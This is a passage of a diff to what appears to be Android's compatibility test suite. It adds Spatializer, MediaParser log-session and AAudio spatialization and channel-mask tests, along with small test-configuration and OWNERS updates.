+                        .setUsage(usage)
+                        .build();
+                assertTrue("AudioAttributes usage:" + usage + " at " + sampleRate
+                        + " should be virtualizeable", spat.canBeSpatialized(defAttr, minFormat));
+            }
+        }
+    }
+
+    public void testVirtualizerEnabled() throws Exception {
+        Spatializer spat = mAudioManager.getSpatializer();
+        if (spat.getImmersiveAudioLevel() == Spatializer.SPATIALIZER_IMMERSIVE_LEVEL_NONE) {
+            Log.i(TAG, "skipping testVirtualizerEnabled, no Spatializer");
+            return;
+        }
+        boolean spatEnabled = spat.isEnabled();
+        final MySpatStateListener stateListener = new MySpatStateListener();
+
+        spat.addOnSpatializerStateChangedListener(Executors.newSingleThreadExecutor(),
+                stateListener);
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS");
+        spat.setEnabled(!spatEnabled);
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        assertEquals("VirtualizerStage enabled state differ",
+                !spatEnabled, spat.isEnabled());
+        Boolean enabled = stateListener.getEnabled();
+        assertNotNull("VirtualizerStage state listener wasn't called", enabled);
+        assertEquals("VirtualizerStage state listener didn't get expected value",
+                !spatEnabled, enabled.booleanValue());
+    }
+
+    static class MySpatStateListener
+            implements Spatializer.OnSpatializerStateChangedListener {
+
+        private final LinkedBlockingQueue<Boolean> mEnabledQueue =
+                new LinkedBlockingQueue<Boolean>(1);
+
+        void reset() {
+            mEnabledQueue.clear();
+        }
+
+        Boolean getEnabled() throws Exception {
+            return mEnabledQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+
+        MySpatStateListener() {
+            reset();
+        }
+
+        @Override
+        public void onSpatializerEnabledChanged(Spatializer spat, boolean enabled) {
+            Log.i(TAG, "onSpatializerEnabledChanged:" + enabled);
+            mEnabledQueue.offer(enabled);
+        }
+
+        @Override
+        public void onSpatializerAvailableChanged(@NonNull Spatializer spat, boolean available) {
+            Log.i(TAG, "onSpatializerAvailableChanged:" + available);
+        }
+    }
+
+    static class MyHeadTrackingModeListener implements Spatializer.OnHeadTrackingModeChangedListener
+    {
+        private final LinkedBlockingQueue<Integer> mDesiredQueue =
+                new LinkedBlockingQueue<Integer>(1);
+        private final LinkedBlockingQueue<Integer> mRealQueue =
+                new LinkedBlockingQueue<Integer>(1);
+
+        @Override
+        public void onHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+            Log.i(TAG, "onHeadTrackingModeChanged:" + mode);
+            mRealQueue.offer(mode);
+        }
+
+        @Override
+        public void onDesiredHeadTrackingModeChanged(Spatializer spatializer, int mode) {
+            Log.i(TAG, "onDesiredHeadTrackingModeChanged:" + mode);
+            mDesiredQueue.offer(mode);
+        }
+
+        public Integer getDesired() throws Exception {
+            return mDesiredQueue.poll(LISTENER_WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        }
+    }
+
+    static class MyOutputChangedListener implements Spatializer.OnSpatializerOutputChangedListener
+    {
+        @Override
+        public void onSpatializerOutputChanged(Spatializer spatializer, int output) {
+            Log.i(TAG, "onSpatializerOutputChanged:" + output);
+        }
+    }
+
+    static class MyPoseUpdatedListener implements Spatializer.OnHeadToSoundstagePoseUpdatedListener
+    {
+        @Override
+        public void onHeadToSoundstagePoseUpdated(Spatializer spatializer, float[] pose) {
+            Log.i(TAG, "onHeadToSoundstagePoseUpdated:" + Arrays.toString(pose));
+        }
+    }
+}
diff --git a/tests/tests/mediaparser/AndroidTest.xml b/tests/tests/mediaparser/AndroidTest.xml
index e670a80..ce03968 100644
--- a/tests/tests/mediaparser/AndroidTest.xml
+++ b/tests/tests/mediaparser/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="mainline-param" value="com.google.android.media.apex" />
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index a1edc52..7dbc9cd 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -25,6 +25,8 @@
 import android.media.MediaFormat;
 import android.media.MediaParser;
 import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.PlaybackSession;
 import android.os.Build;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -56,12 +58,24 @@
     }
 
     @Test
-    public void testLogSessionId() {
+    public void testDefaultLogSessionId() {
         assumeTrue(Build.VERSION.SDK_INT >= Build.VERSION_CODES.S);
         MediaParser mediaParser = MediaParser.create(new MockMediaParserOutputConsumer());
         assertThat(mediaParser.getLogSessionId())
                 .isSameInstanceAs(LogSessionId.LOG_SESSION_ID_NONE);
-        LogSessionId logSessionId = new LogSessionId("FakeLogSessionId");
+        mediaParser.release();
+    }
+
+    @Test
+    public void testSetLogSessionId() {
+        assumeTrue(Build.VERSION.SDK_INT >= Build.VERSION_CODES.S);
+        MediaParser mediaParser = MediaParser.create(new MockMediaParserOutputConsumer());
+        MediaMetricsManager mediaMetricsManager =
+                InstrumentationRegistry.getInstrumentation()
+                        .getTargetContext()
+                        .getSystemService(MediaMetricsManager.class);
+        PlaybackSession playbackSession = mediaMetricsManager.createPlaybackSession();
+        LogSessionId logSessionId = playbackSession.getSessionId();
         mediaParser.setLogSessionId(logSessionId);
         assertThat(mediaParser.getLogSessionId()).isSameInstanceAs(logSessionId);
         mediaParser.release();
diff --git a/tests/tests/mediatranscoding/OWNERS b/tests/tests/mediatranscoding/OWNERS
index e653979..a4393a7 100644
--- a/tests/tests/mediatranscoding/OWNERS
+++ b/tests/tests/mediatranscoding/OWNERS
@@ -1,4 +1,4 @@
 # Bug component: 761430
-hkuang@google.com
-chz@google.com
-lnilsson@google.com
+
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/mimemap/AndroidTest.xml b/tests/tests/mimemap/AndroidTest.xml
index 6fd3d68..59f0d6e 100644
--- a/tests/tests/mimemap/AndroidTest.xml
+++ b/tests/tests/mimemap/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
diff --git a/tests/tests/nativehardware/AndroidTest.xml b/tests/tests/nativehardware/AndroidTest.xml
index b4de33d..333cb76 100644
--- a/tests/tests/nativehardware/AndroidTest.xml
+++ b/tests/tests/nativehardware/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNativeHardwareTestCases.apk" />
diff --git a/tests/tests/nativehardware/OWNERS b/tests/tests/nativehardware/OWNERS
index c4777f0..74db5e0 100644
--- a/tests/tests/nativehardware/OWNERS
+++ b/tests/tests/nativehardware/OWNERS
@@ -1,4 +1,4 @@
-# Bug component: 24949
+# Bug component: 24939
 chrisforbes@google.com
 jreck@google.com
 krzysio@google.com
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index c3a1fa7..1845609 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -31,9 +31,14 @@
 constexpr int32_t DONT_SET = -1000;
 constexpr const char *DONT_SET_STR = "don't set";
 
+#define IS_SPATIALIZED_FALSE (AAUDIO_UNSPECIFIED + 1)
+#define IS_SPATIALIZED_TRUE  (AAUDIO_UNSPECIFIED + 2)
+
 static void checkAttributes(aaudio_performance_mode_t perfMode,
                             aaudio_usage_t usage,
                             aaudio_content_type_t contentType,
+                            aaudio_spatialization_behavior_t spatializationBehavior = DONT_SET,
+                            int isContentSpatialized = DONT_SET,
                             aaudio_input_preset_t preset = DONT_SET,
                             aaudio_allowed_capture_policy_t capturePolicy = DONT_SET,
                             int privacyMode = DONT_SET,
@@ -64,6 +69,13 @@
     if (contentType != DONT_SET) {
         AAudioStreamBuilder_setContentType(aaudioBuilder, contentType);
     }
+    if (spatializationBehavior != DONT_SET) {
+        AAudioStreamBuilder_setSpatializationBehavior(aaudioBuilder, spatializationBehavior);
+    }
+    if (isContentSpatialized != DONT_SET) {
+        AAudioStreamBuilder_setIsContentSpatialized(aaudioBuilder,
+                                                    isContentSpatialized == IS_SPATIALIZED_TRUE);
+    }
     if (preset != DONT_SET) {
         AAudioStreamBuilder_setInputPreset(aaudioBuilder, preset);
     }
@@ -97,6 +109,20 @@
             : contentType;
     EXPECT_EQ(expectedContentType, AAudioStream_getContentType(aaudioStream));
 
+    if (perfMode == AAUDIO_PERFORMANCE_MODE_NONE) {
+        aaudio_spatialization_behavior_t expectedBehavior =
+                (spatializationBehavior == DONT_SET || spatializationBehavior == AAUDIO_UNSPECIFIED)
+                ? AAUDIO_SPATIALIZATION_BEHAVIOR_AUTO // default
+                : spatializationBehavior;
+        EXPECT_EQ(expectedBehavior, AAudioStream_getSpatializationBehavior(aaudioStream));
+
+        bool expectedIsContentSpatialized =
+                (isContentSpatialized == DONT_SET)
+                ? false //default
+                : isContentSpatialized == IS_SPATIALIZED_TRUE;
+        EXPECT_EQ(expectedIsContentSpatialized, AAudioStream_isContentSpatialized(aaudioStream));
+    }
+
     aaudio_input_preset_t expectedPreset =
             (preset == DONT_SET || preset == AAUDIO_UNSPECIFIED)
             ? AAUDIO_INPUT_PRESET_VOICE_RECOGNITION // default
@@ -165,6 +191,19 @@
     AAUDIO_CONTENT_TYPE_SONIFICATION
 };
 
+static const aaudio_spatialization_behavior_t sSpatializationBehavior[] = {
+    DONT_SET,
+    AAUDIO_UNSPECIFIED,
+    AAUDIO_SPATIALIZATION_BEHAVIOR_AUTO,
+    AAUDIO_SPATIALIZATION_BEHAVIOR_NEVER
+};
+
+static const int sIsContentSpatialized[] = {
+    DONT_SET,
+    IS_SPATIALIZED_TRUE,
+    IS_SPATIALIZED_FALSE
+};
+
 static const aaudio_input_preset_t sInputPresets[] = {
     DONT_SET,
     AAUDIO_UNSPECIFIED,
@@ -217,11 +256,32 @@
     }
 }
 
+static void checkAttributesSpatializationBehavior(aaudio_performance_mode_t perfMode) {
+    for (aaudio_spatialization_behavior_t behavior : sSpatializationBehavior) {
+        checkAttributes(perfMode,
+                        DONT_SET, // usage
+                        DONT_SET, // content type
+                        behavior);
+    }
+}
+
+static void checkAttributesIsContentSpatialized(aaudio_performance_mode_t perfMode) {
+    for (int spatialized : sIsContentSpatialized) {
+        checkAttributes(perfMode,
+                        DONT_SET, // usage
+                        DONT_SET, // content type
+                        DONT_SET, // spatialization behavior
+                        spatialized);
+    }
+}
+
 static void checkAttributesInputPreset(aaudio_performance_mode_t perfMode) {
     for (aaudio_input_preset_t inputPreset : sInputPresets) {
         checkAttributes(perfMode,
                         DONT_SET,
                         DONT_SET,
+                        DONT_SET, // spatialization behavior
+                        DONT_SET, // is content spatialized
                         inputPreset,
                         DONT_SET,
                         DONT_SET,
@@ -234,6 +294,8 @@
         checkAttributes(perfMode,
                         DONT_SET,
                         DONT_SET,
+                        DONT_SET, // spatialization behavior
+                        DONT_SET, // is content spatialized
                         DONT_SET,
                         policy);
     }
@@ -244,6 +306,8 @@
         checkAttributes(perfMode,
                         DONT_SET,
                         DONT_SET,
+                        DONT_SET, // spatialization behavior
+                        DONT_SET, // is content spatialized
                         DONT_SET,
                         DONT_SET,
                         privacyMode,
@@ -256,6 +320,8 @@
         checkAttributes(AAUDIO_PERFORMANCE_MODE_NONE,
                         DONT_SET,
                         DONT_SET,
+                        DONT_SET, // spatialization behavior
+                        DONT_SET, // is content spatialized
                         DONT_SET,
                         DONT_SET,
                         DONT_SET,
@@ -269,6 +335,8 @@
         checkAttributes(AAUDIO_PERFORMANCE_MODE_LOW_LATENCY,
                         DONT_SET,
                         DONT_SET,
+                        DONT_SET, // spatialization behavior
+                        DONT_SET, // is content spatialized
                         DONT_SET,
                         DONT_SET,
                         DONT_SET,
@@ -282,6 +350,8 @@
         checkAttributes(AAUDIO_PERFORMANCE_MODE_NONE,
                         DONT_SET,
                         DONT_SET,
+                        DONT_SET, // spatialization behavior
+                        DONT_SET, // is content spatialized
                         DONT_SET,
                         DONT_SET,
                         DONT_SET,
@@ -299,6 +369,14 @@
     checkAttributesContentType(AAUDIO_PERFORMANCE_MODE_NONE);
 }
 
+TEST(test_attributes, aaudio_spatialization_behavior_perfnone) {
+    checkAttributesSpatializationBehavior(AAUDIO_PERFORMANCE_MODE_NONE);
+}
+
+TEST(test_attributes, aaudio_is_content_spatialized_perfnone) {
+    checkAttributesIsContentSpatialized(AAUDIO_PERFORMANCE_MODE_NONE);
+}
+
 TEST(test_attributes, aaudio_input_preset_perfnone) {
     checkAttributesInputPreset(AAUDIO_PERFORMANCE_MODE_NONE);
 }
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
index 57d36ae..cc811cd 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
@@ -18,6 +18,8 @@
 #define LOG_TAG "AAudioTest"
 
 #include <cstring>
+#include <sstream>
+#include <utility>
 
 #include <aaudio/AAudio.h>
 #include <android/log.h>
@@ -366,3 +368,259 @@
                 // Odd values
                 AAUDIO_UNSPECIFIED - 1, AAUDIO_UNSPECIFIED, 100, 1000000, 10000000),
         &AAudioStreamBuilderPerfModeTest::getTestName);
+
+class AAudioStreamBuilderChannelMaskTest : public ::testing::TestWithParam<aaudio_channel_mask_t> {
+public:
+    static std::string getTestName(const ::testing::TestParamInfo<aaudio_channel_mask_t>& info) {
+        std::stringstream ss;
+        ss << "0x" << std::hex << info.param;
+        return ss.str();
+    }
+protected:
+
+    static bool isValidChannelMask(aaudio_channel_mask_t channelMask, bool isInput) {
+        if (channelMask == AAUDIO_UNSPECIFIED) {
+            return true;
+        }
+
+        if (__builtin_popcount(channelMask) > FCC_LIMIT) {
+            return false;
+        }
+
+        if (isInput) {
+            switch (channelMask) {
+                case AAUDIO_CHANNEL_MONO:
+                case AAUDIO_CHANNEL_STEREO:
+                case AAUDIO_CHANNEL_FRONT_BACK:
+                case AAUDIO_CHANNEL_2POINT0POINT2:
+                case AAUDIO_CHANNEL_2POINT1POINT2:
+                case AAUDIO_CHANNEL_3POINT0POINT2:
+                case AAUDIO_CHANNEL_3POINT1POINT2:
+                case AAUDIO_CHANNEL_5POINT1:
+                    return true;
+            }
+            return false;
+        } else {
+            switch (channelMask) {
+                case AAUDIO_CHANNEL_MONO:
+                case AAUDIO_CHANNEL_STEREO:
+                case AAUDIO_CHANNEL_2POINT1:
+                case AAUDIO_CHANNEL_TRI:
+                case AAUDIO_CHANNEL_TRI_BACK:
+                case AAUDIO_CHANNEL_3POINT1:
+                case AAUDIO_CHANNEL_2POINT0POINT2:
+                case AAUDIO_CHANNEL_2POINT1POINT2:
+                case AAUDIO_CHANNEL_3POINT0POINT2:
+                case AAUDIO_CHANNEL_3POINT1POINT2:
+                case AAUDIO_CHANNEL_QUAD:
+                case AAUDIO_CHANNEL_QUAD_SIDE:
+                case AAUDIO_CHANNEL_SURROUND:
+                case AAUDIO_CHANNEL_PENTA:
+                case AAUDIO_CHANNEL_5POINT1:
+                case AAUDIO_CHANNEL_5POINT1_SIDE:
+                case AAUDIO_CHANNEL_5POINT1POINT2:
+                case AAUDIO_CHANNEL_5POINT1POINT4:
+                case AAUDIO_CHANNEL_6POINT1:
+                case AAUDIO_CHANNEL_7POINT1:
+                case AAUDIO_CHANNEL_7POINT1POINT2:
+                case AAUDIO_CHANNEL_7POINT1POINT4:
+                case AAUDIO_CHANNEL_9POINT1POINT4:
+                case AAUDIO_CHANNEL_9POINT1POINT6:
+                    return true;
+            }
+            return false;
+        }
+    }
+
+    void testChannelMask(aaudio_channel_mask_t channelMask, aaudio_direction_t direction);
+};
+
+void AAudioStreamBuilderChannelMaskTest::testChannelMask(aaudio_channel_mask_t channelMask,
+                                                         aaudio_direction_t direction) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setDirection(aaudioBuilder, direction);
+    AAudioStreamBuilder_setChannelMask(aaudioBuilder, channelMask);
+    const Expect expect =
+            isValidChannelMask(channelMask, direction) ? Expect::SUCCEED : Expect::FAIL;
+    AAudioStream *aaudioStream = nullptr;
+    aaudio_result_t result = AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream);
+    if (expect == Expect::FAIL) {
+        ASSERT_NE(AAUDIO_OK, result);
+        ASSERT_EQ(nullptr, aaudioStream);
+    } else if (expect == Expect::SUCCEED) {
+        ASSERT_EQ(AAUDIO_OK, result);
+        ASSERT_NE(nullptr, aaudioStream);
+        ASSERT_NE(0, AAudioStream_getChannelCount(aaudioStream));
+        ASSERT_NE(AAUDIO_UNSPECIFIED, AAudioStream_getChannelMask(aaudioStream));
+        ASSERT_NE(AAUDIO_CHANNEL_INVALID, AAudioStream_getChannelMask(aaudioStream));
+    } else { // NOT_CRASH
+        ASSERT_TRUE(((result < 0) && (aaudioStream == nullptr))
+                || ((result == AAUDIO_OK) && (aaudioStream != nullptr)));
+    }
+
+    // Cleanup
+    ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(aaudioBuilder));
+    if (aaudioStream != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(aaudioStream));
+    }
+}
+
+TEST_P(AAudioStreamBuilderChannelMaskTest, openInputStream) {
+    if (!deviceSupportsFeature(FEATURE_RECORDING)) {
+        return;
+    }
+    testChannelMask(GetParam(), AAUDIO_DIRECTION_INPUT);
+}
+
+TEST_P(AAudioStreamBuilderChannelMaskTest, openOutputStream) {
+    if (!deviceSupportsFeature(FEATURE_PLAYBACK)) {
+        return;
+    }
+    testChannelMask(GetParam(), AAUDIO_DIRECTION_OUTPUT);
+}
+
+INSTANTIATE_TEST_CASE_P(
+        CM, AAudioStreamBuilderChannelMaskTest,
+        ::testing::Values(
+                // UNSPECIFIED is valid channel mask
+                AAUDIO_UNSPECIFIED,
+                AAUDIO_CHANNEL_INVALID,
+                // Channel mask listed in audio.h
+                // AAUDIO_CHANNEL_FRONT_LEFT,
+                AAUDIO_CHANNEL_FRONT_RIGHT,
+                AAUDIO_CHANNEL_FRONT_CENTER,
+                AAUDIO_CHANNEL_LOW_FREQUENCY,
+                AAUDIO_CHANNEL_BACK_LEFT,
+                AAUDIO_CHANNEL_BACK_RIGHT,
+                AAUDIO_CHANNEL_FRONT_LEFT_OF_CENTER,
+                AAUDIO_CHANNEL_FRONT_RIGHT_OF_CENTER,
+                AAUDIO_CHANNEL_BACK_CENTER,
+                AAUDIO_CHANNEL_SIDE_LEFT,
+                AAUDIO_CHANNEL_SIDE_RIGHT,
+                AAUDIO_CHANNEL_TOP_CENTER,
+                AAUDIO_CHANNEL_TOP_FRONT_LEFT,
+                AAUDIO_CHANNEL_TOP_FRONT_CENTER,
+                AAUDIO_CHANNEL_TOP_FRONT_RIGHT,
+                AAUDIO_CHANNEL_TOP_BACK_LEFT,
+                AAUDIO_CHANNEL_TOP_BACK_CENTER,
+                AAUDIO_CHANNEL_TOP_BACK_RIGHT,
+                AAUDIO_CHANNEL_TOP_SIDE_LEFT,
+                AAUDIO_CHANNEL_TOP_SIDE_RIGHT,
+                AAUDIO_CHANNEL_BOTTOM_FRONT_LEFT,
+                AAUDIO_CHANNEL_BOTTOM_FRONT_CENTER,
+                AAUDIO_CHANNEL_BOTTOM_FRONT_RIGHT,
+                AAUDIO_CHANNEL_LOW_FREQUENCY_2,
+                AAUDIO_CHANNEL_FRONT_WIDE_LEFT,
+                AAUDIO_CHANNEL_FRONT_WIDE_RIGHT,
+                AAUDIO_CHANNEL_MONO,
+                AAUDIO_CHANNEL_STEREO,
+                AAUDIO_CHANNEL_2POINT1,
+                AAUDIO_CHANNEL_TRI,
+                AAUDIO_CHANNEL_TRI_BACK,
+                AAUDIO_CHANNEL_3POINT1,
+                AAUDIO_CHANNEL_2POINT0POINT2,
+                AAUDIO_CHANNEL_2POINT1POINT2,
+                AAUDIO_CHANNEL_3POINT0POINT2,
+                AAUDIO_CHANNEL_3POINT1POINT2,
+                AAUDIO_CHANNEL_QUAD,
+                AAUDIO_CHANNEL_QUAD_SIDE,
+                AAUDIO_CHANNEL_SURROUND,
+                AAUDIO_CHANNEL_PENTA,
+                AAUDIO_CHANNEL_5POINT1,
+                AAUDIO_CHANNEL_5POINT1_SIDE,
+                AAUDIO_CHANNEL_6POINT1,
+                AAUDIO_CHANNEL_7POINT1,
+                AAUDIO_CHANNEL_5POINT1POINT2,
+                AAUDIO_CHANNEL_5POINT1POINT4,
+                AAUDIO_CHANNEL_7POINT1POINT2,
+                AAUDIO_CHANNEL_7POINT1POINT4,
+                AAUDIO_CHANNEL_9POINT1POINT4,
+                AAUDIO_CHANNEL_9POINT1POINT6,
+                AAUDIO_CHANNEL_FRONT_BACK,
+                // Odd value
+                0x20000000,
+                0x30000000,
+                0x40000005),
+        &AAudioStreamBuilderChannelMaskTest::getTestName);
+
+using ChannelMaskAndCountParams = std::pair<aaudio_direction_t, aaudio_channel_mask_t>;
+class AAudioStreamBuilderChannelMaskAndCountTest :
+        public ::testing::TestWithParam<ChannelMaskAndCountParams> {
+public:
+    static std::string getTestName(
+            const ::testing::TestParamInfo<ChannelMaskAndCountParams>& info) {
+        std::stringstream ss;
+        ss << (info.param.first == AAUDIO_DIRECTION_INPUT ? "INPUT_0x" : "OUTPUT_0x")
+           << std::hex << info.param.second;
+        return ss.str();
+    }
+
+protected:
+    void testSetChannelMaskAndCount(aaudio_direction_t direction,
+                                    aaudio_channel_mask_t channelMask,
+                                    int32_t channelCount,
+                                    bool channelMaskFirst);
+};
+
+void AAudioStreamBuilderChannelMaskAndCountTest::testSetChannelMaskAndCount(
+        aaudio_direction_t direction, aaudio_channel_mask_t channelMask,
+        int32_t channelCount, bool setChannelMaskFirst) {
+    AAudioStreamBuilder *aaudioBuilder = nullptr;
+    create_stream_builder(&aaudioBuilder);
+    AAudioStreamBuilder_setDirection(aaudioBuilder, direction);
+    if (setChannelMaskFirst) {
+        AAudioStreamBuilder_setChannelMask(aaudioBuilder, channelMask);
+        AAudioStreamBuilder_setChannelCount(aaudioBuilder, channelCount);
+    } else {
+        AAudioStreamBuilder_setChannelCount(aaudioBuilder, channelCount);
+        AAudioStreamBuilder_setChannelMask(aaudioBuilder, channelMask);
+    }
+    AAudioStream *aaudioStream = nullptr;
+    aaudio_result_t result = AAudioStreamBuilder_openStream(aaudioBuilder, &aaudioStream);
+    ASSERT_EQ(AAUDIO_OK, result);
+    ASSERT_NE(nullptr, aaudioStream);
+    if (setChannelMaskFirst) {
+        ASSERT_EQ(channelCount, AAudioStream_getChannelCount(aaudioStream));
+        ASSERT_EQ(AAUDIO_UNSPECIFIED, AAudioStream_getChannelMask(aaudioStream));
+    } else {
+        // If channel mask is unspecified, stereo will be returned.
+        ASSERT_EQ(channelMask == AAUDIO_UNSPECIFIED ? AAUDIO_CHANNEL_STEREO : channelMask,
+                  AAudioStream_getChannelMask(aaudioStream));
+        ASSERT_EQ(channelMask == AAUDIO_UNSPECIFIED ? 2 : __builtin_popcount(channelMask),
+                  AAudioStream_getChannelCount(aaudioStream));
+    }
+    ASSERT_EQ(AAUDIO_OK, AAudioStreamBuilder_delete(aaudioBuilder));
+    if (aaudioStream != nullptr) {
+        ASSERT_EQ(AAUDIO_OK, AAudioStream_close(aaudioStream));
+    }
+}
+
+TEST_P(AAudioStreamBuilderChannelMaskAndCountTest, channelMaskAndCount) {
+    const aaudio_direction_t direction = GetParam().first;
+    if ((direction == AAUDIO_DIRECTION_OUTPUT && !deviceSupportsFeature(FEATURE_PLAYBACK)) ||
+        (direction == AAUDIO_DIRECTION_INPUT && !deviceSupportsFeature(FEATURE_RECORDING))) {
+        return;
+    }
+    const aaudio_channel_mask_t channelMask = GetParam().second;
+
+    testSetChannelMaskAndCount(direction, channelMask,
+                               2 /*channelCount*/, true /*setChannelMaskFirst*/);
+    testSetChannelMaskAndCount(direction, channelMask,
+                               2 /*channelCount*/, false /*setChannelMaskFirst*/);
+
+    testSetChannelMaskAndCount(direction, AAUDIO_CHANNEL_5POINT1,
+                               2 /*channelCount*/, true /*setChannelMaskFirst*/);
+    testSetChannelMaskAndCount(direction, AAUDIO_CHANNEL_5POINT1,
+                               2 /*channelCount*/, false /*setChannelMaskFirst*/);
+}
+
+INSTANTIATE_TEST_CASE_P(CMC, AAudioStreamBuilderChannelMaskAndCountTest,
+        ::testing::Values(
+                std::make_pair(AAUDIO_DIRECTION_OUTPUT, AAUDIO_CHANNEL_MONO),
+                std::make_pair(AAUDIO_DIRECTION_OUTPUT, AAUDIO_CHANNEL_5POINT1),
+                std::make_pair(AAUDIO_DIRECTION_OUTPUT, AAUDIO_UNSPECIFIED),
+                std::make_pair(AAUDIO_DIRECTION_INPUT, AAUDIO_CHANNEL_MONO),
+                std::make_pair(AAUDIO_DIRECTION_INPUT, AAUDIO_CHANNEL_5POINT1),
+                std::make_pair(AAUDIO_DIRECTION_INPUT, AAUDIO_UNSPECIFIED)),
+        &AAudioStreamBuilderChannelMaskAndCountTest::getTestName);
diff --git a/tests/tests/nativemedia/mediametrics/AndroidTest.xml b/tests/tests/nativemedia/mediametrics/AndroidTest.xml
index dc9c00d..8eb014c 100644
--- a/tests/tests/nativemedia/mediametrics/AndroidTest.xml
+++ b/tests/tests/nativemedia/mediametrics/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeMediaMetricsTestCases->/data/local/tmp/CtsNativeMediaMetricsTestCases" />
diff --git a/tests/tests/ndef/AndroidTest.xml b/tests/tests/ndef/AndroidTest.xml
index 1156bec..ca28aa9 100644
--- a/tests/tests/ndef/AndroidTest.xml
+++ b/tests/tests/ndef/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNdefTestCases.apk" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index 59f04a5..e50c718 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsNetSecPolicyUsesCleartextTrafficFalse.apk" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index 89e0143..b74dfb9 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
